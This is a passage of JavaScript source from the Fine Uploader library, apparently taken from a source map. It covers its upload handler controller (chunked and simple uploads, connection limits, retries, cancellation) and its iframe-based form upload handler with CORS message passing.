Send the constructed request.\n                send: function(optXhr) {\n                    if (cacheBuster && qq.indexOf([\"GET\", \"DELETE\"], options.method) >= 0) {\n                        params.qqtimestamp = new Date().getTime();\n                    }\n\n                    return prepareToSend(id, optXhr, path, params, additionalQueryParams, headers, payload);\n                }\n            };\n        },\n\n        canceled: function(id) {\n            dequeue(id);\n        }\n    });\n};\n","/* globals qq */\n/**\n * Common upload handler functions.\n *\n * @constructor\n */\nqq.UploadHandler = function(spec) {\n    \"use strict\";\n\n    var proxy = spec.proxy,\n        fileState = {},\n        onCancel = proxy.onCancel,\n        getName = proxy.getName;\n\n    qq.extend(this, {\n        add: function(id, fileItem) {\n            fileState[id] = fileItem;\n            fileState[id].temp = {};\n        },\n\n        cancel: function(id) {\n            var self = this,\n                cancelFinalizationEffort = new qq.Promise(),\n                onCancelRetVal = onCancel(id, getName(id), cancelFinalizationEffort);\n\n            onCancelRetVal.then(function() {\n                if (self.isValid(id)) {\n                    fileState[id].canceled = true;\n                    self.expunge(id);\n                }\n                cancelFinalizationEffort.success();\n            });\n        },\n\n        expunge: function(id) {\n            delete fileState[id];\n        },\n\n        getThirdPartyFileId: function(id) {\n            return fileState[id].key;\n        },\n\n        isValid: function(id) {\n            return fileState[id] !== undefined;\n        },\n\n        reset: function() {\n            fileState = {};\n        },\n\n        _getFileState: function(id) {\n            return fileState[id];\n        },\n\n        _setThirdPartyFileId: function(id, thirdPartyFileId) {\n            fileState[id].key = thirdPartyFileId;\n        },\n\n        _wasCanceled: function(id) {\n            return !!fileState[id].canceled;\n        }\n    });\n};\n","/*globals qq*/\n/**\n * Base upload handler module.  Controls more specific handlers.\n *\n * @param o Options.  Passed along to the specific handler submodule as well.\n * @param namespace [optional] Namespace for the specific handler.\n */\nqq.UploadHandlerController = function(o, namespace) {\n    \"use strict\";\n\n    var controller = this,\n        chunkingPossible = false,\n        concurrentChunkingPossible = false,\n        chunking, preventRetryResponse, log, handler,\n\n    options = {\n        paramsStore: {},\n        maxConnections: 3, // maximum number of concurrent uploads\n        chunking: {\n            enabled: false,\n            multiple: {\n                enabled: false\n            }\n        },\n        log: function(str, level) {},\n        onProgress: function(id, fileName, loaded, total) {},\n        onComplete: function(id, fileName, response, xhr) {},\n        onCancel: function(id, fileName) {},\n        onUploadPrep: function(id) {}, // Called if non-trivial operations will be performed before onUpload\n        onUpload: function(id, fileName) {},\n        onUploadChunk: function(id, fileName, chunkData) {},\n        onUploadChunkSuccess: function(id, chunkData, response, xhr) {},\n        onAutoRetry: function(id, fileName, response, xhr) {},\n        onResume: function(id, fileName, chunkData) {},\n        onUuidChanged: function(id, newUuid) {},\n        getName: function(id) {},\n        setSize: function(id, newSize) {},\n        isQueued: function(id) {},\n        getIdsInProxyGroup: function(id) {},\n        getIdsInBatch: function(id) {}\n    },\n\n    chunked = {\n        // Called when each chunk has uploaded successfully\n        done: function(id, chunkIdx, response, xhr) {\n            var chunkData = handler._getChunkData(id, chunkIdx);\n\n            handler._getFileState(id).attemptingResume = false;\n\n            delete handler._getFileState(id).temp.chunkProgress[chunkIdx];\n            handler._getFileState(id).loaded += chunkData.size;\n\n            options.onUploadChunkSuccess(id, handler._getChunkDataForCallback(chunkData), response, xhr);\n        },\n\n        // Called when all chunks have been successfully uploaded and we want to ask the handler to perform any\n        // logic associated with closing out the file, such as combining the chunks.\n        finalize: function(id) {\n            var size = options.getSize(id),\n                name = options.getName(id);\n\n            log(\"All chunks have been uploaded for \" + id + \" - finalizing....\");\n            handler.finalizeChunks(id).then(\n                function(response, xhr) {\n                    log(\"Finalize successful for \" + id);\n\n                    var normaizedResponse = upload.normalizeResponse(response, true);\n\n                    options.onProgress(id, name, size, size);\n                    handler._maybeDeletePersistedChunkData(id);\n                    upload.cleanup(id, normaizedResponse, xhr);\n                },\n                function(response, xhr) {\n                    var normaizedResponse = upload.normalizeResponse(response, false);\n\n                    log(\"Problem finalizing chunks for file ID \" + id + \" - \" + normaizedResponse.error, \"error\");\n\n                    if (normaizedResponse.reset) {\n                        chunked.reset(id);\n                    }\n\n                    if (!options.onAutoRetry(id, name, normaizedResponse, xhr)) {\n                        upload.cleanup(id, normaizedResponse, xhr);\n                    }\n                }\n            );\n        },\n\n        hasMoreParts: function(id) {\n            return !!handler._getFileState(id).chunking.remaining.length;\n        },\n\n        nextPart: function(id) {\n            var nextIdx = handler._getFileState(id).chunking.remaining.shift();\n\n            if (nextIdx >= handler._getTotalChunks(id)) {\n                nextIdx = null;\n            }\n\n            return nextIdx;\n        },\n\n        reset: function(id) {\n            log(\"Server or callback has ordered chunking effort to be restarted on next attempt for item ID \" + id, \"error\");\n\n            handler._maybeDeletePersistedChunkData(id);\n            handler.reevaluateChunking(id);\n            handler._getFileState(id).loaded = 0;\n        },\n\n        sendNext: function(id) {\n            var size = options.getSize(id),\n                name = options.getName(id),\n                chunkIdx = chunked.nextPart(id),\n                chunkData = handler._getChunkData(id, chunkIdx),\n                resuming = handler._getFileState(id).attemptingResume,\n                inProgressChunks = handler._getFileState(id).chunking.inProgress || [];\n\n            if (handler._getFileState(id).loaded == null) {\n                handler._getFileState(id).loaded = 0;\n            }\n\n            // Don't follow-through with the resume attempt if the integrator returns false from onResume\n            if (resuming && options.onResume(id, name, chunkData) === false) {\n                chunked.reset(id);\n                chunkIdx = chunked.nextPart(id);\n                chunkData = handler._getChunkData(id, chunkIdx);\n                resuming = false;\n            }\n\n            // If all chunks have already uploaded successfully, we must be re-attempting the finalize step.\n            if (chunkIdx == null && inProgressChunks.length === 0) {\n                chunked.finalize(id);\n            }\n\n            // Send the next chunk\n            else {\n                log(qq.format(\"Sending chunked upload request for item {}.{}, bytes {}-{} of {}.\", id, chunkIdx, chunkData.start + 1, chunkData.end, size));\n                options.onUploadChunk(id, name, handler._getChunkDataForCallback(chunkData));\n                inProgressChunks.push(chunkIdx);\n                handler._getFileState(id).chunking.inProgress = inProgressChunks;\n\n                if (concurrentChunkingPossible) {\n                    connectionManager.open(id, chunkIdx);\n                }\n\n                if (concurrentChunkingPossible && connectionManager.available() && handler._getFileState(id).chunking.remaining.length) {\n                    chunked.sendNext(id);\n                }\n\n                handler.uploadChunk(id, chunkIdx, resuming).then(\n                    // upload chunk success\n                    function success(response, xhr) {\n                        log(\"Chunked upload request succeeded for \" + id + \", chunk \" + chunkIdx);\n\n                        handler.clearCachedChunk(id, chunkIdx);\n\n                        var inProgressChunks = handler._getFileState(id).chunking.inProgress || [],\n                            responseToReport = upload.normalizeResponse(response, true),\n                            inProgressChunkIdx = qq.indexOf(inProgressChunks, chunkIdx);\n\n                        log(qq.format(\"Chunk {} for file {} uploaded successfully.\", chunkIdx, id));\n\n                        chunked.done(id, chunkIdx, responseToReport, xhr);\n\n                        if (inProgressChunkIdx >= 0) {\n                            inProgressChunks.splice(inProgressChunkIdx, 1);\n                        }\n\n                        handler._maybePersistChunkedState(id);\n\n                        if (!chunked.hasMoreParts(id) && inProgressChunks.length === 0) {\n                            chunked.finalize(id);\n                        }\n                        else if (chunked.hasMoreParts(id)) {\n                            chunked.sendNext(id);\n                        }\n                        else {\n                            log(qq.format(\"File ID {} has no more chunks to send and these chunk indexes are still marked as in-progress: {}\", id, JSON.stringify(inProgressChunks)));\n                        }\n                    },\n\n                    // upload chunk failure\n                    function failure(response, xhr) {\n                        log(\"Chunked upload request failed for \" + id + \", chunk \" + chunkIdx);\n\n                        handler.clearCachedChunk(id, chunkIdx);\n\n                        var responseToReport = upload.normalizeResponse(response, false),\n                            inProgressIdx;\n\n                        if (responseToReport.reset) {\n                            chunked.reset(id);\n                        }\n                        else {\n                            inProgressIdx = qq.indexOf(handler._getFileState(id).chunking.inProgress, chunkIdx);\n                            if (inProgressIdx >= 0) {\n                                handler._getFileState(id).chunking.inProgress.splice(inProgressIdx, 1);\n                                handler._getFileState(id).chunking.remaining.unshift(chunkIdx);\n                            }\n                        }\n\n                        // We may have aborted all other in-progress chunks for this file due to a failure.\n                        // If so, ignore the failures associated with those aborts.\n                        if (!handler._getFileState(id).temp.ignoreFailure) {\n                            // If this chunk has failed, we want to ignore all other failures of currently in-progress\n                            // chunks since they will be explicitly aborted\n                            if (concurrentChunkingPossible) {\n                                handler._getFileState(id).temp.ignoreFailure = true;\n\n                                log(qq.format(\"Going to attempt to abort these chunks: {}. These are currently in-progress: {}.\", JSON.stringify(Object.keys(handler._getXhrs(id))), JSON.stringify(handler._getFileState(id).chunking.inProgress)));\n                                qq.each(handler._getXhrs(id), function(ckid, ckXhr) {\n                                    log(qq.format(\"Attempting to abort file {}.{}. XHR readyState {}. \", id, ckid, ckXhr.readyState));\n                                    ckXhr.abort();\n                                    // Flag the transport, in case we are waiting for some other async operation\n                                    // to complete before attempting to upload the chunk\n                                    ckXhr._cancelled = true;\n                                });\n\n                                // We must indicate that all aborted chunks are no longer in progress\n                                handler.moveInProgressToRemaining(id);\n\n                                // Free up any connections used by these chunks, but don't allow any\n                                // other files to take up the connections (until we have exhausted all auto-retries)\n                                connectionManager.free(id, true);\n                            }\n\n                            if (!options.onAutoRetry(id, name, responseToReport, xhr)) {\n                                // If one chunk fails, abort all of the others to avoid odd race conditions that occur\n                                // if a chunk succeeds immediately after one fails before we have determined if the upload\n                                // is a failure or not.\n                                upload.cleanup(id, responseToReport, xhr);\n                            }\n                        }\n                    }\n                )\n                    .done(function() {\n                        handler.clearXhr(id, chunkIdx);\n                    });\n            }\n        }\n    },\n\n    connectionManager = {\n        _open: [],\n        _openChunks: {},\n        _waiting: [],\n\n        available: function() {\n            var max = options.maxConnections,\n                openChunkEntriesCount = 0,\n                openChunksCount = 0;\n\n            qq.each(connectionManager._openChunks, function(fileId, openChunkIndexes) {\n                openChunkEntriesCount++;\n                openChunksCount += openChunkIndexes.length;\n            });\n\n            return max - (connectionManager._open.length - openChunkEntriesCount + openChunksCount);\n        },\n\n        /**\n         * Removes element from queue, starts upload of next\n         */\n        free: function(id, dontAllowNext) {\n            var allowNext = !dontAllowNext,\n                waitingIndex = qq.indexOf(connectionManager._waiting, id),\n                connectionsIndex = qq.indexOf(connectionManager._open, id),\n                nextId;\n\n            delete connectionManager._openChunks[id];\n\n            if (upload.getProxyOrBlob(id) instanceof qq.BlobProxy) {\n                log(\"Generated blob upload has ended for \" + id + \", disposing generated blob.\");\n                delete handler._getFileState(id).file;\n            }\n\n            // If this file was not consuming a connection, it was just waiting, so remove it from the waiting array\n            if (waitingIndex >= 0) {\n                connectionManager._waiting.splice(waitingIndex, 1);\n            }\n            // If this file was consuming a connection, allow the next file to be uploaded\n            else if (allowNext && connectionsIndex >= 0) {\n                connectionManager._open.splice(connectionsIndex, 1);\n\n                nextId = connectionManager._waiting.shift();\n                if (nextId >= 0) {\n                    connectionManager._open.push(nextId);\n                    upload.start(nextId);\n                }\n            }\n        },\n\n        getWaitingOrConnected: function() {\n            var waitingOrConnected = [];\n\n            // Chunked files may have multiple connections open per chunk (if concurrent chunking is enabled)\n            // We need to grab the file ID of any file that has at least one chunk consuming a connection.\n            qq.each(connectionManager._openChunks, function(fileId, chunks) {\n                if (chunks && chunks.length) {\n                    waitingOrConnected.push(parseInt(fileId));\n                }\n            });\n\n            // For non-chunked files, only one connection will be consumed per file.\n            // This is where we aggregate those file IDs.\n            qq.each(connectionManager._open, function(idx, fileId) {\n                if (!connectionManager._openChunks[fileId]) {\n                    waitingOrConnected.push(parseInt(fileId));\n                }\n            });\n\n            // There may be files waiting for a connection.\n            waitingOrConnected = waitingOrConnected.concat(connectionManager._waiting);\n\n            return waitingOrConnected;\n        },\n\n        isUsingConnection: function(id) {\n            return qq.indexOf(connectionManager._open, id) >= 0;\n        },\n\n        open: function(id, chunkIdx) {\n            if (chunkIdx == null) {\n                connectionManager._waiting.push(id);\n            }\n\n            if (connectionManager.available()) {\n                if (chunkIdx == null) {\n                    connectionManager._waiting.pop();\n                    connectionManager._open.push(id);\n                }\n                else {\n                    (function() {\n                        var openChunksEntry = connectionManager._openChunks[id] || [];\n                        openChunksEntry.push(chunkIdx);\n                        connectionManager._openChunks[id] = openChunksEntry;\n                    }());\n                }\n\n                return true;\n            }\n\n            return false;\n        },\n\n        reset: function() {\n            connectionManager._waiting = [];\n            connectionManager._open = [];\n        }\n    },\n\n    simple = {\n        send: function(id, name) {\n            handler._getFileState(id).loaded = 0;\n\n            log(\"Sending simple upload request for \" + id);\n            handler.uploadFile(id).then(\n                function(response, optXhr) {\n                    log(\"Simple upload request succeeded for \" + id);\n\n                    var responseToReport = upload.normalizeResponse(response, true),\n                        size = options.getSize(id);\n\n                    options.onProgress(id, name, size, size);\n                    upload.maybeNewUuid(id, responseToReport);\n                    upload.cleanup(id, responseToReport, optXhr);\n                },\n\n                function(response, optXhr) {\n                    log(\"Simple upload request failed for \" + id);\n\n                    var responseToReport = upload.normalizeResponse(response, false);\n\n                    if (!options.onAutoRetry(id, name, responseToReport, optXhr)) {\n                        upload.cleanup(id, responseToReport, optXhr);\n                    }\n                }\n            );\n        }\n    },\n\n    upload = {\n        cancel: function(id) {\n            log(\"Cancelling \" + id);\n            options.paramsStore.remove(id);\n            connectionManager.free(id);\n        },\n\n        cleanup: function(id, response, optXhr) {\n            var name = options.getName(id);\n\n            options.onComplete(id, name, response, optXhr);\n\n            if (handler._getFileState(id)) {\n                handler._clearXhrs && handler._clearXhrs(id);\n            }\n\n            connectionManager.free(id);\n        },\n\n        // Returns a qq.BlobProxy, or an actual File/Blob if no proxy is involved, or undefined\n        // if none of these are available for the ID\n        getProxyOrBlob: function(id) {\n            return (handler.getProxy && handler.getProxy(id)) ||\n                (handler.getFile && handler.getFile(id));\n        },\n\n        initHandler: function() {\n            var handlerType = namespace ? qq[namespace] : qq.traditional,\n                handlerModuleSubtype = qq.supportedFeatures.ajaxUploading ? \"Xhr\" : \"Form\";\n\n            handler = new handlerType[handlerModuleSubtype + \"UploadHandler\"](\n                options,\n                {\n                    getDataByUuid: options.getDataByUuid,\n                    getName: options.getName,\n                    getSize: options.getSize,\n                    getUuid: options.getUuid,\n                    log: log,\n                    onCancel: options.onCancel,\n                    onProgress: options.onProgress,\n                    onUuidChanged: options.onUuidChanged\n                }\n            );\n\n            if (handler._removeExpiredChunkingRecords) {\n                handler._removeExpiredChunkingRecords();\n            }\n        },\n\n        isDeferredEligibleForUpload: function(id) {\n            return options.isQueued(id);\n        },\n\n        // For Blobs that are part of a group of generated images, along with a reference image,\n        // this will ensure the blobs in the group are uploaded in the order they were triggered,\n        // even if some async processing must be completed on one or more Blobs first.\n        maybeDefer: function(id, blob) {\n            // If we don't have a file/blob yet & no file/blob exists for this item, request it,\n            // and then submit the upload to the specific handler once the blob is available.\n            // ASSUMPTION: This condition will only ever be true if XHR uploading is supported.\n            if (blob && !handler.getFile(id) && blob instanceof qq.BlobProxy) {\n\n                // Blob creation may take some time, so the caller may want to update the\n                // UI to indicate that an operation is in progress, even before the actual\n                // upload begins and an onUpload callback is invoked.\n                options.onUploadPrep(id);\n\n                log(\"Attempting to generate a blob on-demand for \" + id);\n                blob.create().then(function(generatedBlob) {\n                    log(\"Generated an on-demand blob for \" + id);\n\n                    // Update record associated with this file by providing the generated Blob\n                    handler.updateBlob(id, generatedBlob);\n\n                    // Propagate the size for this generated Blob\n                    options.setSize(id, generatedBlob.size);\n\n                    // Order handler to recalculate chunking possibility, if applicable\n                    handler.reevaluateChunking(id);\n\n                    upload.maybeSendDeferredFiles(id);\n                },\n\n                // Blob could not be generated.  Fail the upload & attempt to prevent retries.  Also bubble error message.\n                function(errorMessage) {\n                    var errorResponse = {};\n\n                    if (errorMessage) {\n                        errorResponse.error = errorMessage;\n                    }\n\n                    log(qq.format(\"Failed to generate blob for ID {}.  Error message: {}.\", id, errorMessage), \"error\");\n\n                    options.onComplete(id, options.getName(id), qq.extend(errorResponse, preventRetryResponse), null);\n                    upload.maybeSendDeferredFiles(id);\n                    connectionManager.free(id);\n                });\n            }\n            else {\n                return upload.maybeSendDeferredFiles(id);\n            }\n\n            return false;\n        },\n\n        // Upload any grouped blobs, in the proper order, that are ready to be uploaded\n        maybeSendDeferredFiles: function(id) {\n            var idsInGroup = options.getIdsInProxyGroup(id),\n                uploadedThisId = false;\n\n            if (idsInGroup && idsInGroup.length) {\n                log(\"Maybe ready to upload proxy group file \" + id);\n\n                qq.each(idsInGroup, function(idx, idInGroup) {\n                    if (upload.isDeferredEligibleForUpload(idInGroup) && !!handler.getFile(idInGroup)) {\n                        uploadedThisId = idInGroup === id;\n                        upload.now(idInGroup);\n                    }\n                    else if (upload.isDeferredEligibleForUpload(idInGroup)) {\n                        return false;\n                    }\n                });\n            }\n            else {\n                uploadedThisId = true;\n                upload.now(id);\n            }\n\n            return uploadedThisId;\n        },\n\n        maybeNewUuid: function(id, response) {\n            if (response.newUuid !== undefined) {\n                options.onUuidChanged(id, response.newUuid);\n            }\n        },\n\n        // The response coming from handler implementations may be in various formats.\n        // Instead of hoping a promise nested 5 levels deep will always return an object\n        // as its first param, let's just normalize the response here.\n        normalizeResponse: function(originalResponse, successful) {\n            var response = originalResponse;\n\n            // The passed \"response\" param may not be a response at all.\n            // It could be a string, detailing the error, for example.\n            if (!qq.isObject(originalResponse)) {\n                response = {};\n\n                if (qq.isString(originalResponse) && !successful) {\n                    response.error = originalResponse;\n                }\n            }\n\n            response.success = successful;\n\n            return response;\n        },\n\n        now: function(id) {\n            var name = options.getName(id);\n\n            if (!controller.isValid(id)) {\n                throw new qq.Error(id + \" is not a valid file ID to upload!\");\n            }\n\n            options.onUpload(id, name);\n\n            if (chunkingPossible && handler._shouldChunkThisFile(id)) {\n                chunked.sendNext(id);\n            }\n            else {\n                simple.send(id, name);\n            }\n        },\n\n        start: function(id) {\n            var blobToUpload = upload.getProxyOrBlob(id);\n\n            if (blobToUpload) {\n                return upload.maybeDefer(id, blobToUpload);\n            }\n            else {\n                upload.now(id);\n                return true;\n            }\n        }\n    };\n\n    qq.extend(this, {\n        /**\n         * Adds file or file input to the queue\n         **/\n        add: function(id, file) {\n            handler.add.apply(this, arguments);\n        },\n\n        /**\n         * Sends the file identified by id\n         */\n        upload: function(id) {\n            if (connectionManager.open(id)) {\n                return upload.start(id);\n            }\n            return false;\n        },\n\n        retry: function(id) {\n            // On retry, if concurrent chunking has been enabled, we may have aborted all other in-progress chunks\n            // for a file when encountering a failed chunk upload.  We then signaled the controller to ignore\n            // all failures associated with these aborts.  We are now retrying, so we don't want to ignore\n            // any more failures at this point.\n            if (concurrentChunkingPossible) {\n                handler._getFileState(id).temp.ignoreFailure = false;\n            }\n\n            // If we are attempting to retry a file that is already consuming a connection, this is likely an auto-retry.\n            // Just go ahead and ask the handler to upload again.\n            if (connectionManager.isUsingConnection(id)) {\n                return upload.start(id);\n            }\n\n            // If we are attempting to retry a file that is not currently consuming a connection,\n            // this is likely a manual retry attempt.  We will need to ensure a connection is available\n            // before the retry commences.\n            else {\n                return controller.upload(id);\n            }\n        },\n\n        /**\n         * Cancels file upload by id\n         */\n        cancel: function(id) {\n            var cancelRetVal = handler.cancel(id);\n\n            if (qq.isGenericPromise(cancelRetVal)) {\n                cancelRetVal.then(function() {\n                    upload.cancel(id);\n                });\n            }\n            else if (cancelRetVal !== false) {\n                upload.cancel(id);\n            }\n        },\n\n        /**\n         * Cancels all queued or in-progress uploads\n         */\n        cancelAll: function() {\n            var waitingOrConnected = connectionManager.getWaitingOrConnected(),\n                i;\n\n            // ensure files are cancelled in reverse order which they were added\n            // to avoid a flash of time where a queued file begins to upload before it is canceled\n            if (waitingOrConnected.length) {\n                for (i = waitingOrConnected.length - 1; i >= 0; i--) {\n                    controller.cancel(waitingOrConnected[i]);\n                }\n            }\n\n            connectionManager.reset();\n        },\n\n        // Returns a File, Blob, or the Blob/File for the reference/parent file if the targeted blob is a proxy.\n        // Undefined if no file record is available.\n        getFile: function(id) {\n            if (handler.getProxy && handler.getProxy(id)) {\n                return handler.getProxy(id).referenceBlob;\n            }\n\n            return handler.getFile && handler.getFile(id);\n        },\n\n        // Returns true if the Blob associated with the ID is related to a proxy s\n        isProxied: function(id) {\n            return !!(handler.getProxy && handler.getProxy(id));\n        },\n\n        getInput: function(id) {\n            if (handler.getInput) {\n                return handler.getInput(id);\n            }\n        },\n\n        reset: function() {\n            log(\"Resetting upload handler\");\n            controller.cancelAll();\n            connectionManager.reset();\n            handler.reset();\n        },\n\n        expunge: function(id) {\n            if (controller.isValid(id)) {\n                return handler.expunge(id);\n            }\n        },\n\n        /**\n         * Determine if the file exists.\n         */\n        isValid: function(id) {\n            return handler.isValid(id);\n        },\n\n        getResumableFilesData: function() {\n            if (handler.getResumableFilesData) {\n                return handler.getResumableFilesData();\n            }\n            return [];\n        },\n\n        /**\n         * This may or may not be implemented, depending on the handler.  For handlers where a third-party ID is\n         * available (such as the \"key\" for Amazon S3), this will return that value.  Otherwise, the return value\n         * will be undefined.\n         *\n         * @param id Internal file ID\n         * @returns {*} Some identifier used by a 3rd-party service involved in the upload process\n         */\n        getThirdPartyFileId: function(id) {\n            if (controller.isValid(id)) {\n                return handler.getThirdPartyFileId(id);\n            }\n        },\n\n        /**\n         * Attempts to pause the associated upload if the specific handler supports this and the file is \"valid\".\n         * @param id ID of the upload/file to pause\n         * @returns {boolean} true if the upload was paused\n         */\n        pause: function(id) {\n            if (controller.isResumable(id) && handler.pause && controller.isValid(id) && handler.pause(id)) {\n                connectionManager.free(id);\n                handler.moveInProgressToRemaining(id);\n                return true;\n            }\n            return false;\n        },\n\n        // True if the file is eligible for pause/resume.\n        isResumable: function(id) {\n            return !!handler.isResumable && handler.isResumable(id);\n        }\n    });\n\n    qq.extend(options, o);\n    log = options.log;\n    chunkingPossible = options.chunking.enabled && qq.supportedFeatures.chunking;\n    concurrentChunkingPossible = chunkingPossible && options.chunking.concurrent.enabled;\n\n    preventRetryResponse = (function() {\n        var response = {};\n\n        response[options.preventRetryParam] = true;\n\n        return response;\n    }());\n\n    upload.initHandler();\n};\n","/*globals qq */\n/*jshint -W117 */\nqq.WindowReceiveMessage = function(o) {\n    \"use strict\";\n\n    var options = {\n            log: function(message, level) {}\n        },\n        callbackWrapperDetachers = {};\n\n    qq.extend(options, o);\n\n    qq.extend(this, {\n        receiveMessage: function(id, callback) {\n            var onMessageCallbackWrapper = function(event) {\n                    callback(event.data);\n                };\n\n            if (window.postMessage) {\n                callbackWrapperDetachers[id] = qq(window).attach(\"message\", onMessageCallbackWrapper);\n            }\n            else {\n                log(\"iframe message passing not supported in this browser!\", \"error\");\n            }\n        },\n\n        stopReceivingMessages: function(id) {\n            if (window.postMessage) {\n                var detacher = callbackWrapperDetachers[id];\n                if (detacher) {\n                    detacher();\n                }\n            }\n        }\n    });\n};\n","/* globals qq */\n/**\n * Common APIs exposed to creators of upload via form/iframe handlers.  This is reused and possibly overridden\n * in some cases by specific form upload handlers.\n *\n * @constructor\n */\nqq.FormUploadHandler = function(spec) {\n    \"use strict\";\n\n    var options = spec.options,\n        handler = this,\n        proxy = spec.proxy,\n        formHandlerInstanceId = qq.getUniqueId(),\n        onloadCallbacks = {},\n        detachLoadEvents = {},\n        postMessageCallbackTimers = {},\n        isCors = options.isCors,\n        inputName = options.inputName,\n        getUuid = proxy.getUuid,\n        log = proxy.log,\n        corsMessageReceiver = new qq.WindowReceiveMessage({log: log});\n\n    /**\n     * Remove any trace of the file from the handler.\n     *\n     * @param id ID of the associated file\n     */\n    function expungeFile(id) {\n        delete detachLoadEvents[id];\n\n        // If we are dealing with CORS, we might still be waiting for a response from a loaded iframe.\n        // In that case, terminate the timer waiting for a message from the loaded iframe\n        // and stop listening for any more messages coming from this iframe.\n        if (isCors) {\n            clearTimeout(postMessageCallbackTimers[id]);\n            delete postMessageCallbackTimers[id];\n            corsMessageReceiver.stopReceivingMessages(id);\n        }\n\n        var iframe = document.getElementById(handler._getIframeName(id));\n        if (iframe) {\n            // To cancel request set src to something else.  We use src=\"javascript:false;\"\n            // because it doesn't trigger ie6 prompt on https\n            /* jshint scripturl:true */\n            iframe.setAttribute(\"src\", \"javascript:false;\");\n\n            qq(iframe).remove();\n        }\n    }\n\n    /**\n     * @param iframeName `document`-unique Name of the associated iframe\n     * @returns {*} ID of the associated file\n     */\n    function getFileIdForIframeName(iframeName) {\n        return iframeName.split(\"_\")[0];\n    }\n\n    /**\n     * Generates an iframe to be used as a target for upload-related form submits.  This also adds the iframe\n     * to the current `document`.  Note that the iframe is hidden from view.\n     *\n     * @param name Name of the iframe.\n     * @returns {HTMLIFrameElement} The created iframe\n     */\n    function initIframeForUpload(name) {\n        var iframe = qq.toElement(\"<iframe src='javascript:false;' name='\" + name + \"' />\");\n\n        iframe.setAttribute(\"id\", name);\n\n        iframe.style.display = \"none\";\n        document.body.appendChild(iframe);\n\n        return iframe;\n    }\n\n    /**\n     * If we are in CORS mode, we must listen for messages (containing the server response) from the associated\n     * iframe, since we cannot directly parse the content of the iframe due to cross-origin restrictions.\n     *\n     * @param iframe Listen for messages on this iframe.\n     * @param callback Invoke this callback with the message from the iframe.\n     */\n    function registerPostMessageCallback(iframe, callback) {\n        var iframeName = iframe.id,\n            fileId = getFileIdForIframeName(iframeName),\n            uuid = getUuid(fileId);\n\n        onloadCallbacks[uuid] = callback;\n\n        // When the iframe has loaded (after the server responds to an upload request)\n        // declare the attempt a failure if we don't receive a valid message shortly after the response comes in.\n        detachLoadEvents[fileId] = qq(iframe).attach(\"load\", function() {\n            if (handler.getInput(fileId)) {\n                log(\"Received iframe load event for CORS upload request (iframe name \" + iframeName + \")\");\n\n                postMessageCallbackTimers[iframeName] = setTimeout(function() {\n                    var errorMessage = \"No valid message received from loaded iframe for iframe name \" + iframeName;\n                    log(errorMessage, \"error\");\n                    callback({\n                        error: errorMessage\n                    });\n                }, 1000);\n            }\n        });\n\n        // Listen for messages coming from this iframe.  When a message has been received, cancel the timer\n        // that declares the upload a failure if a message is not received within a reasonable amount of time.\n        corsMessageReceiver.receiveMessage(iframeName, function(message) {\n            log(\"Received the following window message: '\" + message + \"'\");\n            var fileId = getFileIdForIframeName(iframeName),\n                response = handler._parseJsonResponse(message),\n                uuid = response.uuid,\n                onloadCallback;\n\n            if (uuid && onloadCallbacks[uuid]) {\n                log(\"Handling response for iframe name \" + iframeName);\n                clearTimeout(postMessageCallbackTimers[iframeName]);\n                delete postMessageCallbackTimers[iframeName];\n\n                handler._detachLoadEvent(iframeName);\n\n                onloadCallback = onloadCallbacks[uuid];\n\n                delete onloadCallbacks[uuid];\n                corsMessageReceiver.stopReceivingMessages(iframeName);\n                onloadCallback(response);\n            }\n            else if (!uuid) {\n                log(\"'\" + message + \"' does not contain a UUID - ignoring.\");\n            }\n        });\n    }\n\n    qq.extend(this, new qq.UploadHandler(spec));\n\n    qq.override(this, function(super_) {\n        return {\n            /**\n             * Adds File or Blob to the queue\n             **/\n            add: function(id, fileInput) {\n                super_.add(id, {input: fileInput});\n\n                fileInput.setAttribute(\"name\", inputName);\n\n                // remove file input from DOM\n                if (fileInput.parentNode) {\n                    qq(fileInput).remove();\n                }\n            },\n\n            expunge: function(id) {\n                expungeFile(id);\n                super_.expunge(id);\n            },\n\n            isValid: function(id) {\n                return super_.isValid(id) &&\n                    handler._getFileState(id).input !== undefined;\n            }\n        };\n    });\n\n    qq.extend(this, {\n        getInput: function(id) {\n            return handler._getFileState(id).input;\n        },\n\n        /**\n         * This function either delegates to a more specific message handler if CORS is involved,\n         * or simply registers a callback when the iframe has been loaded that invokes the passed callback\n         * after determining if the content of the iframe is accessible.\n         *\n         * @param iframe Associated iframe\n         * @param callback Callback to invoke after we have determined if the iframe content is accessible.\n         */\n        _attachLoadEvent: function(iframe, callback) {\n            /*jslint eqeq: true*/\n            var responseDescriptor;\n\n            if (isCors) {\n                registerPostMessageCallback(iframe, callback);\n            }\n            else {\n                detachLoadEvents[iframe.id] = qq(iframe).attach(\"load\", function() {\n                    log(\"Received response for \" + iframe.id);\n\n                    // when we remove iframe from dom\n                    // the request stops, but in IE load\n                    // event fires\n                    if (!iframe.parentNode) {\n                        return;\n                    }\n\n                    try {\n                        // fixing Opera 10.53\n                        if (iframe.contentDocument &&\n                            iframe.contentDocument.body &&\n                            iframe.contentDocument.body.innerHTML == \"false\") {\n                            // In Opera event is fired second time\n                            // when body.innerHTML changed from false\n                            // to server response approx. after 1 sec\n                            // when we upload file with iframe\n                            return;\n                        }\n                    }\n                    catch (error) {\n                        //IE may throw an \"access is denied\" error when attempting to access contentDocument on the iframe in some cases\n                        log(\"Error when attempting to access iframe during handling of upload response (\" + error.message + \")\", \"error\");\n                        responseDescriptor = {success: false};\n                    }\n\n                    callback(responseDescriptor);\n                });\n            }\n        },\n\n        /**\n         * Creates an iframe with a specific document-unique name.\n         *\n         * @param id ID of the associated file\n         * @returns {HTMLIFrameElement}\n         */\n        _createIframe: function(id) {\n            var iframeName = handler._getIframeName(id);\n\n            return initIframeForUpload(iframeName);\n        },\n\n        /**\n         * Called when we are no longer interested in being notified when an iframe has loaded.\n         *\n         * @param id Associated file ID\n         */\n        _detachLoadEvent: function(id) {\n            if (detachLoadEvents[id] !== undefined) {\n                detachLoadEvents[id]();\n                delete detachLoadEvents[id];\n            }\n        },\n\n        /**\n         * @param fileId ID of the associated file\n         * @returns {string} The `document`-unique name of the iframe\n         */\n        _getIframeName: function(fileId) {\n            return fileId + \"_\" + formHandlerInstanceId;\n        },\n\n        /**\n         * Generates a form element and appends it to the `document`.  When the form is submitted, a specific iframe is targeted.\n         * The name of the iframe is passed in as a property of the spec parameter, and must be unique in the `document`.  Note\n         * that the form is hidden from view.\n         *\n         * @param spec An object containing various properties to be used when constructing the form.  Required properties are\n         * currently: `method`, `endpoint`, `params`, `paramsInBody`, and `targetName`.\n         * @returns {HTMLFormElement} The created form\n         */\n        